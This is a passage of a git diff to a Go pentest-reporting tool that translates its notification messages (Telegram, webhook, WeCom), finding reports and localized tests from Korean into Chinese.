@@ -133,7 +133,7 @@ func assetLine(assets []string, limit int) string {
if limit <= 0 || len(assets) <= limit {
return strings.Join(assets, ", ")
}
- return strings.Join(assets[:limit], ", ") + " 등 " + itoa(len(assets)) + "개"
+ return strings.Join(assets[:limit], ", ") + " 等 " + itoa(len(assets)) + " 个"
}
// itoa 是 strconv.Itoa 的短别名,仅用于拼接展示文本,避免到处 import strconv。
diff --git a/notify/render_test.go b/notify/render_test.go
index 985be05..a55709a 100644
--- a/notify/render_test.go
+++ b/notify/render_test.go
@@ -109,7 +109,7 @@ func TestAssetLineOmitsExcess(t *testing.T) {
}
// 超出上限时必须标注总数,否则读者不知道还有多少资产没列出来。
got := assetLine([]string{"a", "b", "c", "d", "e"}, 2)
- if !strings.Contains(got, "등 5개") {
+ if !strings.Contains(got, "等 5 个") {
t.Fatalf("应标注总数 5,得到 %q", got)
}
}
@@ -121,7 +121,7 @@ func TestSeverityAndStatusLabels(t *testing.T) {
if !AtLeast("critical", "") {
t.Fatal("空门槛应放行")
}
- if got := StatusLabel("fixed"); got != "수정됨" {
+ if got := StatusLabel("fixed"); got != "已修复" {
t.Fatalf("未知状态映射,得到 %q", got)
}
// 未知状态原样回显,不臆造标签。
diff --git a/notify/telegram.go b/notify/telegram.go
index b001c7f..bfb7642 100644
--- a/notify/telegram.go
+++ b/notify/telegram.go
@@ -34,14 +34,14 @@ func (telegramChannel) DestinationKeys() []string { return []string{"base_url"}
func (telegramChannel) Validate(cfg map[string]any) error {
if cfgString(cfg, "bot_token") == "" {
- return errors.New("Bot Token이 없습니다")
+ return errors.New("缺少 Bot Token")
}
if cfgString(cfg, "chat_id") == "" {
- return errors.New("Chat ID가 없습니다")
+ return errors.New("缺少 Chat ID")
}
if base := cfgString(cfg, "base_url"); base != "" {
if err := validateHTTPURL(base); err != nil {
- return fmt.Errorf("API 주소가 올바르지 않습니다: %w", err)
+ return fmt.Errorf("API 地址无效:%w", err)
}
}
return nil
@@ -72,7 +72,7 @@ func (c telegramChannel) Send(ctx context.Context, cfg map[string]any, m Message
Description string `json:"description"`
}
if err := json.Unmarshal(raw, &res); err != nil {
- return 0, fmt.Errorf("Telegram 응답을 해석하지 못했습니다: %w (%s)", err, snippet(raw))
+ return 0, fmt.Errorf("无法解析 Telegram 响应:%w (%s)", err, snippet(raw))
}
if res.OK {
return kept, nil
@@ -80,9 +80,9 @@ func (c telegramChannel) Send(ctx context.Context, cfg map[string]any, m Message
// 429 是限流,退避后重试有效;其余(400 参数错、401 token 错、403 被拉黑、
// 404 chat 不存在)都是配置问题,重试不会自愈。
if res.ErrorCode == 429 {
- return 0, fmt.Errorf("Telegram 요청 제한에 걸렸습니다: %s", res.Description)
+ return 0, fmt.Errorf("Telegram 请求受限:%s", res.Description)
}
- return 0, Permanent(fmt.Errorf("Telegram 응답 오류 %d: %s", res.ErrorCode, res.Description))
+ return 0, Permanent(fmt.Errorf("Telegram 响应错误 %d:%s", res.ErrorCode, res.Description))
}
// telegramEndpoint 拼出 sendMessage 地址。base_url 留空时用官方 API,
@@ -98,7 +98,7 @@ func telegramEndpoint(cfg map[string]any) (string, error) {
u, err := url.Parse(raw)
if err != nil {
// 不透传 err:地址里含 Bot Token,且此时连 addr 都不该回显。
- return "", fmt.Errorf("API 주소를 조합하지 못했습니다 (API 주소: %s)", redactRequestTarget(base))
+ return "", fmt.Errorf("无法拼接 API 地址 (API 地址: %s)", redactRequestTarget(base))
}
return u.String(), nil
}
@@ -111,7 +111,7 @@ func telegramHTML(m Message) (string, int) {
// Telegram 的上限是**字符数**,所以打包也按字符计量(runeSize)。
footer := ""
if m.HomeURL != "" {
- footer = fmt.Sprintf("\n\n플랫폼에서 전체 보기", telegramEscapeAttr(m.HomeURL))
+ footer = fmt.Sprintf("\n\n在平台查看全部", telegramEscapeAttr(m.HomeURL))
}
kept := packItemCount(m.Items, telegramTextLimit, telegramReservedRunes, footer, runeSize, func(it Item, idx int) string {
return telegramBatchLine(it, idx+1)
@@ -130,20 +130,20 @@ func telegramHTML(m Message) (string, int) {
}
it := m.Items[0]
if it.IsStatusChange() {
- b.WriteString(fmt.Sprintf("\n상태 변경: %s → %s",
+ b.WriteString(fmt.Sprintf("\n状态变更:%s → %s",
telegramEscape(StatusLabel(it.FromStatus)), telegramEscape(StatusLabel(it.ToStatus))))
}
if it.VulnClass != "" && it.VulnClass != it.Title() {
- b.WriteString("\n유형: " + telegramEscape(it.VulnClass))
+ b.WriteString("\n类型:" + telegramEscape(it.VulnClass))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
- b.WriteString("\n자산: " + telegramEscape(a))
+ b.WriteString("\n资产:" + telegramEscape(a))
}
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
- b.WriteString("\n개요: " + telegramEscape(s))
+ b.WriteString("\n概要:" + telegramEscape(s))
}
if it.DetailURL != "" {
- b.WriteString(fmt.Sprintf("\n\n상세 보기", telegramEscapeAttr(it.DetailURL)))
+ b.WriteString(fmt.Sprintf("\n\n查看详情", telegramEscapeAttr(it.DetailURL)))
}
return TruncateHTML(b.String(), telegramTextLimit), 1
}
@@ -162,12 +162,12 @@ func telegramBatchLine(it Item, idx int) string {
// telegramBatchTitle 渲染汇总消息的标题行。条数用的是**本条实际包含**的条数,
// 而不是本批总数——否则读者会以为消息头写的数字就是全部。
func telegramBatchTitle(m Message, items []Item, total int) string {
- title := fmt.Sprintf("취약점 요약 · 총 %d건", total)
+ title := fmt.Sprintf("漏洞汇总 · 共 %d 条", total)
if extra := total - len(items); extra > 0 {
- title += fmt.Sprintf(" (앞 %d건만 표시, 나머지 %d건은 다음 메시지에서 이어집니다)", len(items), extra)
+ title += fmt.Sprintf(" (仅显示前 %d 条,其余 %d 条将在下一条消息中继续)", len(items), extra)
}
if m.WindowMinutes > 0 {
- title = fmt.Sprintf("최근 %d분간 · %s", m.WindowMinutes, title)
+ title = fmt.Sprintf("最近 %d 分钟 · %s", m.WindowMinutes, title)
}
return title
}
diff --git a/notify/webhook.go b/notify/webhook.go
index 83658e1..465abf8 100644
--- a/notify/webhook.go
+++ b/notify/webhook.go
@@ -83,17 +83,17 @@ type webhookItem struct {
func (webhookChannel) Validate(cfg map[string]any) error {
raw := cfgString(cfg, "url")
if raw == "" {
- return errors.New("대상 URL이 없습니다")
+ return errors.New("缺少目标 URL")
}
if err := validateHTTPURL(raw); err != nil {
- return fmt.Errorf("대상 URL이 올바르지 않습니다: %w", err)
+ return fmt.Errorf("目标 URL 无效:%w", err)
}
if m := strings.ToUpper(cfgString(cfg, "method")); m != "" && m != http.MethodGet && m != http.MethodPost && m != http.MethodPut && m != http.MethodPatch {
- return fmt.Errorf("지원하지 않는 메서드입니다: %s (GET/POST/PUT/PATCH 중에서 선택하세요)", m)
+ return fmt.Errorf("不支持的方法:%s (请从 GET/POST/PUT/PATCH 中选择)", m)
}
if tpl := cfgString(cfg, "body_template"); tpl != "" {
if _, err := parseWebhookTemplate(tpl); err != nil {
- return fmt.Errorf("요청 본문 템플릿 문법이 올바르지 않습니다: %w", err)
+ return fmt.Errorf("请求体模板语法无效:%w", err)
}
}
return nil
@@ -119,7 +119,7 @@ func (c webhookChannel) Send(ctx context.Context, cfg map[string]any, m Message)
// 模板渲染出的是字符串形式的 JSON,这里转成 json.RawMessage 原样发出,
// 避免二次转义把用户精心构造的结构套进一个 JSON 字符串里。
if !json.Valid([]byte(body)) {
- return 0, Permanent(errors.New("요청 본문 템플릿의 렌더링 결과가 올바른 JSON이 아닙니다"))
+ return 0, Permanent(errors.New("请求体模板的渲染结果不是合法的 JSON"))
}
payload = json.RawMessage(body)
}
@@ -147,11 +147,11 @@ func renderWebhookBody(tpl string, m Message) (string, error) {
}
t, err := parseWebhookTemplate(tpl)
if err != nil {
- return "", fmt.Errorf("요청 본문 템플릿 문법이 올바르지 않습니다: %w", err)
+ return "", fmt.Errorf("请求体模板语法无效:%w", err)
}
var buf bytes.Buffer
if err := t.Execute(&buf, newWebhookTemplateData(m)); err != nil {
- return "", fmt.Errorf("요청 본문 템플릿을 렌더링하지 못했습니다: %w", err)
+ return "", fmt.Errorf("无法渲染请求体模板:%w", err)
}
return buf.String(), nil
}
diff --git a/notify/webhook_http_telegram_localized_test.go b/notify/webhook_http_telegram_localized_test.go
index d30d2a1..20051a0 100644
--- a/notify/webhook_http_telegram_localized_test.go
+++ b/notify/webhook_http_telegram_localized_test.go
@@ -12,7 +12,7 @@ import (
// 이 파일은 F4 ④⑤(telegram·webhook·공용 HTTP 전송 계층) 한국어화를 회귀로부터
// 지킨다. telegram.go 의 메시지 라벨·배치 제목, webhook.go 의 설정 검증 오류,
// http.go 의 전송 오류, 그리고 다섯 채널이 공유하는 validateHTTPURL 이 중국어로
-// 되돌아가면 잡아낸다. 헬퍼 hasHan·hasHangul·assertKorean 은
+// 되돌아가면 잡아낸다. 헬퍼 hasHan·hasHangul·assertChinese 은
// notify_localized_test.go 에 있다(같은 패키지).
//
// 데이터(제목·유형·자산·개요)는 전부 ASCII 로 둔다. 그래야 "출력 전체에 한자 0"
@@ -39,10 +39,10 @@ func TestTelegramItemLabelsLocalized(t *testing.T) {
if kept != 1 {
t.Fatalf("단건 메시지는 1 을 보고해야 합니다, 받은 값 %d", kept)
}
- if hasHan(out) {
- t.Errorf("Telegram 본문에 중국어 한자가 남아 있습니다:\n%s", out)
+ if hasHangul(out) {
+ t.Errorf("Telegram 본문에 한글이 남아 있습니다:\n%s", out)
}
- for _, want := range []string{"상태 변경", "유형", "자산", "개요", "상세 보기"} {
+ for _, want := range []string{"状态变更", "类型", "资产", "概要", "查看详情"} {
if !strings.Contains(out, want) {
t.Errorf("Telegram 본문에 %q 라벨이 없습니다:\n%s", want, out)
}
@@ -57,8 +57,8 @@ func TestTelegramBatchTitleLocalized(t *testing.T) {
// 넘침 있음 + 시간창: 요약·총건수·앞 N건·나머지·다음 메시지·최근 N분간.
over := telegramBatchTitle(Message{WindowMinutes: 30}, items, 5)
- assertKorean(t, "telegramBatchTitle(넘침)", over)
- for _, want := range []string{"취약점 요약 · 총 5건", "앞 2건만 표시", "나머지 3건", "다음 메시지", "최근 30분간"} {
+ assertChinese(t, "telegramBatchTitle(넘침)", over)
+ for _, want := range []string{"漏洞汇总 · 共 5 条", "前 2 条", "其余 3 条", "下一条消息", "最近 30 分钟"} {
if !strings.Contains(over, want) {
t.Errorf("넘침 제목에 %q 가 없습니다: %q", want, over)
}
@@ -66,12 +66,12 @@ func TestTelegramBatchTitleLocalized(t *testing.T) {
// 넘침 없음 + 시간창 없음: 다음 메시지 안내가 없어야 한다.
full := telegramBatchTitle(Message{}, items, 2)
- assertKorean(t, "telegramBatchTitle(전량)", full)
- if !strings.Contains(full, "취약점 요약 · 총 2건") {
- t.Errorf("전량 제목에 '취약점 요약 · 총 2건' 이 있어야 합니다: %q", full)
+ assertChinese(t, "telegramBatchTitle(전량)", full)
+ if !strings.Contains(full, "漏洞汇总 · 共 2 条") {
+ t.Errorf("전량 제목에 '漏洞汇总 · 共 2 条' 이 있어야 합니다: %q", full)
}
- if strings.Contains(full, "다음 메시지") {
- t.Errorf("넘치지 않았는데 '다음 메시지' 안내가 들어갔습니다: %q", full)
+ if strings.Contains(full, "下一条消息") {
+ t.Errorf("넘치지 않았는데 '下一条消息' 안내가 들어갔습니다: %q", full)
}
}
@@ -81,7 +81,7 @@ func TestTelegramValidateLocalized(t *testing.T) {
if err := (telegramChannel{}).Validate(map[string]any{}); err == nil {
t.Fatal("bot_token 누락은 검증 실패여야 합니다")
} else {
- assertKorean(t, "telegram Validate(bot_token)", err.Error())
+ assertChinese(t, "telegram Validate(bot_token)", err.Error())
if !strings.Contains(err.Error(), "Bot Token") {
t.Errorf("Bot Token 누락을 알려줘야 합니다: %q", err.Error())
}
@@ -89,7 +89,7 @@ func TestTelegramValidateLocalized(t *testing.T) {
if err := (telegramChannel{}).Validate(map[string]any{"bot_token": "t"}); err == nil {
t.Fatal("chat_id 누락은 검증 실패여야 합니다")
} else {
- assertKorean(t, "telegram Validate(chat_id)", err.Error())
+ assertChinese(t, "telegram Validate(chat_id)", err.Error())
if !strings.Contains(err.Error(), "Chat ID") {
t.Errorf("Chat ID 누락을 알려줘야 합니다: %q", err.Error())
}
@@ -102,16 +102,16 @@ func TestWebhookValidateLocalized(t *testing.T) {
if err := (webhookChannel{}).Validate(map[string]any{}); err == nil {
t.Fatal("url 누락은 검증 실패여야 합니다")
} else {
- assertKorean(t, "webhook Validate(url)", err.Error())
- if !strings.Contains(err.Error(), "대상 URL") {
- t.Errorf("대상 URL 누락을 알려줘야 합니다: %q", err.Error())
+ assertChinese(t, "webhook Validate(url)", err.Error())
+ if !strings.Contains(err.Error(), "目标 URL") {
+ t.Errorf("目标 URL 누락을 알려줘야 합니다: %q", err.Error())
}
}
// 지원하지 않는 메서드: 한국어 + 허용 목록 노출.
if err := (webhookChannel{}).Validate(map[string]any{"url": "https://example.com/hook", "method": "DELETE"}); err == nil {
t.Fatal("DELETE 는 검증 실패여야 합니다")
} else {
- assertKorean(t, "webhook Validate(method)", err.Error())
+ assertChinese(t, "webhook Validate(method)", err.Error())
if !strings.Contains(err.Error(), "GET/POST/PUT/PATCH") {
t.Errorf("허용 메서드 목록을 알려줘야 합니다: %q", err.Error())
}
@@ -120,8 +120,8 @@ func TestWebhookValidateLocalized(t *testing.T) {
if err := (webhookChannel{}).Validate(map[string]any{"url": "https://example.com/hook", "body_template": "{{"}); err == nil {
t.Fatal("깨진 템플릿은 검증 실패여야 합니다")
} else {
- assertKorean(t, "webhook Validate(template)", err.Error())
- if !strings.Contains(err.Error(), "템플릿") {
+ assertChinese(t, "webhook Validate(template)", err.Error())
+ if !strings.Contains(err.Error(), "模板") {
t.Errorf("템플릿 오류임을 알려줘야 합니다: %q", err.Error())
}
}
@@ -135,7 +135,7 @@ func TestValidateHTTPURLLocalized(t *testing.T) {
if err := validateHTTPURL("ftp://example.com/x"); err == nil {
t.Fatal("ftp 스킴은 거부되어야 합니다")
} else {
- assertKorean(t, "validateHTTPURL(scheme)", err.Error())
+ assertChinese(t, "validateHTTPURL(scheme)", err.Error())
if !strings.Contains(err.Error(), "http") {
t.Errorf("지원 스킴(http/https)을 알려줘야 합니다: %q", err.Error())
}
@@ -144,7 +144,7 @@ func TestValidateHTTPURLLocalized(t *testing.T) {
if err := validateHTTPURL("http://"); err == nil {
t.Fatal("호스트 없는 주소는 거부되어야 합니다")
} else {
- assertKorean(t, "validateHTTPURL(host)", err.Error())
+ assertChinese(t, "validateHTTPURL(host)", err.Error())
}
}
@@ -156,7 +156,7 @@ func TestHTTPLocalTargetBlockedLocalized(t *testing.T) {
if err == nil {
t.Fatal("로컬 주소는 기본적으로 차단되어야 합니다")
}
- assertKorean(t, "blockInternalDial", err.Error())
+ assertChinese(t, "blockInternalDial", err.Error())
if !strings.Contains(err.Error(), AllowLocalTargetsEnv) {
t.Errorf("차단 오류는 우회 방법(%s)을 알려줘야 합니다: %q", AllowLocalTargetsEnv, err.Error())
}
@@ -165,16 +165,16 @@ func TestHTTPLocalTargetBlockedLocalized(t *testing.T) {
// TestHTTPRedactHelpersLocalized 는 주소 탈감(redact) 자리표시자와 전송 오류의
// "알 수 없는 오류" 분기가 한국어인지 확인한다.
func TestHTTPRedactHelpersLocalized(t *testing.T) {
- if got := redactRequestTarget(""); !strings.Contains(got, "해석할 수 없") {
- t.Errorf("해석 불가 주소는 한국어 자리표시자여야 합니다, 받은 값 %q", got)
+ if got := redactRequestTarget(""); !strings.Contains(got, "无法解析") {
+ t.Errorf("해석 불가 주소는 중국어 자리표시자여야 합니다, 받은 값 %q", got)
}
// *url.Error 의 Err 가 nil 인 분기.
got := redactTransportError(&url.Error{Op: "Get", URL: "http://api.example", Err: nil})
- if hasHan(got) {
- t.Errorf("전송 오류 탈감 결과에 한자가 남았습니다: %q", got)
+ if hasHangul(got) {
+ t.Errorf("전송 오류 탈감 결과에 한글이 남았습니다: %q", got)
}
- if !strings.Contains(got, "알 수 없는 오류") {
- t.Errorf("Err 가 nil 이면 '알 수 없는 오류' 여야 합니다, 받은 값 %q", got)
+ if !strings.Contains(got, "未知错误") {
+ t.Errorf("Err 가 nil 이면 '未知错误' 여야 합니다, 받은 값 %q", got)
}
}
@@ -187,9 +187,9 @@ func TestHTTPStatusErrorsLocalized(t *testing.T) {
code int
want string
}{
- {http.StatusForbidden, "요청을 거부했습니다"},
- {http.StatusInternalServerError, "오류가 발생했습니다"},
- {http.StatusTooManyRequests, "요청을 제한하거나"},
+ {http.StatusForbidden, "拒绝"},
+ {http.StatusInternalServerError, "错误"},
+ {http.StatusTooManyRequests, "限制"},
}
for _, tc := range cases {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
@@ -201,7 +201,7 @@ func TestHTTPStatusErrorsLocalized(t *testing.T) {
if err == nil {
t.Fatalf("HTTP %d 는 오류여야 합니다", tc.code)
}
- assertKorean(t, "doJSON(HTTP status)", err.Error())
+ assertChinese(t, "doJSON(HTTP status)", err.Error())
if !strings.Contains(err.Error(), tc.want) {
t.Errorf("HTTP %d 오류에 %q 가 있어야 합니다, 받은 값 %q", tc.code, tc.want, err.Error())
}
diff --git a/notify/webhook_template_test.go b/notify/webhook_template_test.go
index 2f062d5..289129e 100644
--- a/notify/webhook_template_test.go
+++ b/notify/webhook_template_test.go
@@ -100,7 +100,7 @@ func TestTemplateCanOnlyProduceJSON(t *testing.T) {
if err == nil || !IsPermanent(err) {
t.Fatalf("渲染出非 JSON 应判永久失败,得到 %v", err)
}
- if !strings.Contains(err.Error(), "올바른 JSON") {
+ if !strings.Contains(err.Error(), "合法的 JSON") {
t.Errorf("错误信息应说明是 JSON 问题,得到 %v", err)
}
}
diff --git a/notify/wecom.go b/notify/wecom.go
index d74721d..9d011ca 100644
--- a/notify/wecom.go
+++ b/notify/wecom.go
@@ -34,10 +34,10 @@ func (weComChannel) DestinationKeys() []string { return []string{"webhook"} }
func (weComChannel) Validate(cfg map[string]any) error {
hook := cfgString(cfg, "webhook")
if hook == "" {
- return errors.New("Webhook 주소가 없습니다")
+ return errors.New("缺少 Webhook 地址")
}
if err := validateHTTPURL(hook); err != nil {
- return fmt.Errorf("Webhook 주소가 올바르지 않습니다: %w", err)
+ return fmt.Errorf("Webhook 地址无效:%w", err)
}
return nil
}
@@ -62,17 +62,17 @@ func (c weComChannel) Send(ctx context.Context, cfg map[string]any, m Message) (
ErrMsg string `json:"errmsg"`
}
if err := json.Unmarshal(raw, &res); err != nil {
- return 0, fmt.Errorf("WeCom 응답을 해석하지 못했습니다: %w (%s)", err, snippet(raw))
+ return 0, fmt.Errorf("无法解析 WeCom 响应:%w (%s)", err, snippet(raw))
}
if res.ErrCode != 0 {
// 45009 是接口调用超过限制——平台的限流窗口会滚动,退避后重试是有效的,
// 所以显式归为可重试。走到这里说明客户端 rate_per_min 配得过于激进,
// 重试只是兜底,真正的修法是调低该渠道的限流值。
if res.ErrCode == 45009 {
- return 0, fmt.Errorf("WeCom 요청이 제한되었습니다 (%d): %s", res.ErrCode, res.ErrMsg)
+ return 0, fmt.Errorf("WeCom 请求受限 (%d):%s", res.ErrCode, res.ErrMsg)
}
// 93000 是 webhook key 无效——永久失败,重试不会自愈。
- return 0, Permanent(fmt.Errorf("WeCom에서 오류가 발생했습니다 (%d): %s", res.ErrCode, res.ErrMsg))
+ return 0, Permanent(fmt.Errorf("WeCom 发生错误 (%d):%s", res.ErrCode, res.ErrMsg))
}
return kept, nil
}
diff --git a/report/findings.go b/report/findings.go
index d899583..c6477b0 100644
--- a/report/findings.go
+++ b/report/findings.go
@@ -30,7 +30,7 @@ func sortFindingsForExport(fs []*db.DBFinding) {
// findingTitle 은 취약점의 사람이 읽을 수 있는 제목을 고른다: 이름 → 유형 → 「미분류」.
func findingTitle(f *db.DBFinding) string {
- return nz(f.Name, nz(f.VulnClass, "미분류"))
+ return nz(f.Name, nz(f.VulnClass, "未分类"))
}
// FindingsMarkdown 은 여러 건의 findings 를 하나의 요약 보고서로 통합한다(요약 + 심각도별
@@ -40,48 +40,48 @@ func FindingsMarkdown(fs []*db.DBFinding, generatedAt time.Time) string {
sortFindingsForExport(items)
var b strings.Builder
- b.WriteString("# 취약점 요약 보고서\n\n")
- fmt.Fprintf(&b, "- **생성 시각**: %s\n", generatedAt.Format("2006-01-02 15:04:05"))
- fmt.Fprintf(&b, "- **취약점 총계**: %d건\n\n", len(items))
+ b.WriteString("# 漏洞摘要报告\n\n")
+ fmt.Fprintf(&b, "- **生成时间**: %s\n", generatedAt.Format("2006-01-02 15:04:05"))
+ fmt.Fprintf(&b, "- **漏洞总数**: %d 个\n\n", len(items))
// 요약: 심각도별 집계.
counts := map[string]int{}
for _, f := range items {
counts[f.Severity]++
}
- b.WriteString("## 요약\n\n")
- b.WriteString("| 심각도 | 개수 |\n| --- | --- |\n")
+ b.WriteString("## 摘要\n\n")
+ b.WriteString("| 严重程度 | 数量 |\n| --- | --- |\n")
for _, s := range []struct{ key, label string }{
- {"critical", "심각"}, {"high", "높음"}, {"medium", "중간"}, {"low", "낮음"},
+ {"critical", "严重"}, {"high", "高危"}, {"medium", "中危"}, {"low", "低危"},
} {
fmt.Fprintf(&b, "| %s | %d |\n", s.label, counts[s.key])
}
b.WriteString("\n")
if len(items) == 0 {
- b.WriteString("_일치하는 취약점이 없습니다._\n")
+ b.WriteString("_没有匹配的漏洞。_\n")
return b.String()
}
- b.WriteString("## 취약점 상세\n\n")
+ b.WriteString("## 漏洞详情\n\n")
for i, f := range items {
fmt.Fprintf(&b, "### %d. [%s] %s\n\n", i+1, strings.ToUpper(nz(f.Severity, "info")), findingTitle(f))
if f.VulnClass != "" {
- fmt.Fprintf(&b, "- **유형**: %s\n", f.VulnClass)
+ fmt.Fprintf(&b, "- **类型**: %s\n", f.VulnClass)
}
- fmt.Fprintf(&b, "- **상태**: %s\n", nz(f.Status, "pending"))
+ fmt.Fprintf(&b, "- **状态**: %s\n", nz(f.Status, "pending"))
if desc := strings.TrimSpace(f.TaskDescription); desc != "" {
- fmt.Fprintf(&b, "- **소속 작업**: %s\n", desc)
+ fmt.Fprintf(&b, "- **所属任务**: %s\n", desc)
}
- fmt.Fprintf(&b, "- **발견 시각**: %s\n\n", f.CreatedAt.Format("2006-01-02 15:04:05"))
+ fmt.Fprintf(&b, "- **发现时间**: %s\n\n", f.CreatedAt.Format("2006-01-02 15:04:05"))
if s := strings.TrimSpace(f.Summary); s != "" {
fmt.Fprintf(&b, "%s\n\n", s)
}
if e := strings.TrimSpace(f.Evidence); e != "" {
- fmt.Fprintf(&b, "**증거:**\n\n```\n%s\n```\n\n", e)
+ fmt.Fprintf(&b, "**证据:**\n\n```\n%s\n```\n\n", e)
}
if rep := strings.TrimSpace(f.Report); rep != "" {
- b.WriteString("**상세 보고서:**\n\n")
+ b.WriteString("**详细报告:**\n\n")
b.WriteString(rep)
b.WriteString("\n\n")
}
@@ -96,23 +96,23 @@ func SingleFindingMarkdown(f *db.DBFinding, generatedAt time.Time) string {
var b strings.Builder
fmt.Fprintf(&b, "# [%s] %s\n\n", strings.ToUpper(nz(f.Severity, "info")), findingTitle(f))
if f.VulnClass != "" {
- fmt.Fprintf(&b, "- **유형**: %s\n", f.VulnClass)
+ fmt.Fprintf(&b, "- **类型**: %s\n", f.VulnClass)
}
- fmt.Fprintf(&b, "- **심각도**: %s\n", nz(f.Severity, "info"))
- fmt.Fprintf(&b, "- **상태**: %s\n", nz(f.Status, "pending"))
+ fmt.Fprintf(&b, "- **严重程度**: %s\n", nz(f.Severity, "info"))
+ fmt.Fprintf(&b, "- **状态**: %s\n", nz(f.Status, "pending"))
if desc := strings.TrimSpace(f.TaskDescription); desc != "" {
- fmt.Fprintf(&b, "- **소속 작업**: %s\n", desc)
+ fmt.Fprintf(&b, "- **所属任务**: %s\n", desc)
}
- fmt.Fprintf(&b, "- **발견 시각**: %s\n", f.CreatedAt.Format("2006-01-02 15:04:05"))
- fmt.Fprintf(&b, "- **생성 시각**: %s\n\n", generatedAt.Format("2006-01-02 15:04:05"))
+ fmt.Fprintf(&b, "- **发现时间**: %s\n", f.CreatedAt.Format("2006-01-02 15:04:05"))
+ fmt.Fprintf(&b, "- **生成时间**: %s\n\n", generatedAt.Format("2006-01-02 15:04:05"))
if s := strings.TrimSpace(f.Summary); s != "" {
- fmt.Fprintf(&b, "## 개요\n\n%s\n\n", s)
+ fmt.Fprintf(&b, "## 概述\n\n%s\n\n", s)
}
if e := strings.TrimSpace(f.Evidence); e != "" {
- fmt.Fprintf(&b, "## 증거\n\n```\n%s\n```\n\n", e)
+ fmt.Fprintf(&b, "## 证据\n\n```\n%s\n```\n\n", e)
}
if rep := strings.TrimSpace(f.Report); rep != "" {
- b.WriteString("## 상세 보고서\n\n")
+ b.WriteString("## 详细报告\n\n")
b.WriteString(rep)
b.WriteString("\n")
}
@@ -151,7 +151,7 @@ func FindingsCSV(fs []*db.DBFinding) []byte {
var buf bytes.Buffer
buf.WriteString("\xEF\xBB\xBF") // UTF-8 BOM
w := csv.NewWriter(&buf)
- _ = w.Write([]string{"ID", "이름", "유형", "심각도", "상태", "소속 작업", "발견 시각", "개요", "트래픽 증거 개수", "트래픽 증거 ID"})
+ _ = w.Write([]string{"ID", "名称", "类型", "严重程度", "状态", "所属任务", "发现时间", "概述", "流量证据数量", "流量证据 ID"})
for _, f := range items {
_ = w.Write([]string{
fmt.Sprintf("%d", f.ID),
@@ -183,18 +183,18 @@ func findingTrafficMarkdown(f *db.DBFinding, attachments bool) string {
return ""
}
var out strings.Builder
- out.WriteString("\n## 관련 트래픽 증거\n\n")
- fmt.Fprintf(&out, "증거 버전: %d, 바인딩 개수: %d.\n\n", f.EvidenceVersion, len(f.TrafficBindings))
+ out.WriteString("\n## 相关流量证据\n\n")
+ fmt.Fprintf(&out, "证据版本: %d, 绑定数量: %d.\n\n", f.EvidenceVersion, len(f.TrafficBindings))
if stale {
- out.WriteString("증거가 변경되어 상세 보고서를 갱신해야 합니다.\n\n")
+ out.WriteString("证据已变更,需要更新详细报告。\n\n")
}
for i, b := range f.TrafficBindings {
- fmt.Fprintf(&out, "%d. **증거 #%d · %s**: `%s %s`, 상태 코드 %d\n", i+1, b.ID, b.Role, b.Snapshot.Method, strings.ReplaceAll(b.Snapshot.URL, "`", "%60"), b.Snapshot.Status)
+ fmt.Fprintf(&out, "%d. **证据 #%d · %s**: `%s %s`, 状态码 %d\n", i+1, b.ID, b.Role, b.Snapshot.Method, strings.ReplaceAll(b.Snapshot.URL, "`", "%60"), b.Snapshot.Status)
if b.Note != "" {
fmt.Fprintf(&out, " %s\n", strings.ReplaceAll(b.Note, "\n", "\n "))
}
if attachments {
- fmt.Fprintf(&out, " [요청 메시지](evidence/%d/%d/request.http) · [응답 메시지](evidence/%d/%d/response.http)\n", f.ID, b.ID, f.ID, b.ID)
+ fmt.Fprintf(&out, " [请求消息](evidence/%d/%d/request.http) · [响应消息](evidence/%d/%d/response.http)\n", f.ID, b.ID, f.ID, b.ID)
}
}
out.WriteString("\n")
diff --git a/report/report.go b/report/report.go
index 403c5aa..46a3f6a 100644
--- a/report/report.go
+++ b/report/report.go
@@ -48,14 +48,14 @@ var sevRank = map[string]int{"critical": 0, "high": 1, "medium": 2, "low": 3, ""
// Markdown renders the report.
func Markdown(in Input) string {
var b strings.Builder
- fmt.Fprintf(&b, "# 침투 테스트 보고서: %s\n\n", nz(in.Title, "이름 없는 작업"))
- fmt.Fprintf(&b, "- **작업 목표**: %s\n", nz(in.Goal, "(지정되지 않음)"))
- fmt.Fprintf(&b, "- **생성 시각**: %s\n\n", in.GeneratedAt.Format("2006-01-02 15:04:05"))
+ fmt.Fprintf(&b, "# 渗透测试报告: %s\n\n", nz(in.Title, "未命名任务"))
+ fmt.Fprintf(&b, "- **任务目标**: %s\n", nz(in.Goal, "(未指定)"))
+ fmt.Fprintf(&b, "- **生成时间**: %s\n\n", in.GeneratedAt.Format("2006-01-02 15:04:05"))
// summary
- fmt.Fprintf(&b, "## 요약\n\n")
- fmt.Fprintf(&b, "- 확인된 취약점: **%d**건\n", len(in.Findings))
- fmt.Fprintf(&b, "- 자산: ")
+ fmt.Fprintf(&b, "## 摘要\n\n")
+ fmt.Fprintf(&b, "- 已确认漏洞: **%d** 个\n", len(in.Findings))
+ fmt.Fprintf(&b, "- 资产: ")
var types []string
for t := range in.AssetCounts {
types = append(types, t)
@@ -70,9 +70,9 @@ func Markdown(in Input) string {
b.WriteString("\n\n")
// findings
- fmt.Fprintf(&b, "## 취약점\n\n")
+ fmt.Fprintf(&b, "## 漏洞\n\n")
if len(in.Findings) == 0 {
- b.WriteString("_이번에 확인된 취약점이 없습니다._\n\n")
+ b.WriteString("_本次未确认到任何漏洞。_\n\n")
} else {
fs := make([]findingView, 0, len(in.Findings))
for _, n := range in.Findings {
@@ -80,10 +80,10 @@ func Markdown(in Input) string {
}
sort.SliceStable(fs, func(i, j int) bool { return sevRank[fs[i].Severity] < sevRank[fs[j].Severity] })
for i, f := range fs {
- fmt.Fprintf(&b, "### %d. [%s] %s\n\n", i+1, strings.ToUpper(nz(f.Severity, "info")), nz(f.Name, nz(f.VulnClass, "미분류")))
+ fmt.Fprintf(&b, "### %d. [%s] %s\n\n", i+1, strings.ToUpper(nz(f.Severity, "info")), nz(f.Name, nz(f.VulnClass, "未分类")))
fmt.Fprintf(&b, "%s\n\n", nz(f.Summary, ""))
if f.PoC != "" {
- fmt.Fprintf(&b, "**PoC / 증거:**\n\n```\n%s\n```\n\n", f.PoC)
+ fmt.Fprintf(&b, "**PoC / 证据:**\n\n```\n%s\n```\n\n", f.PoC)
}
}
}
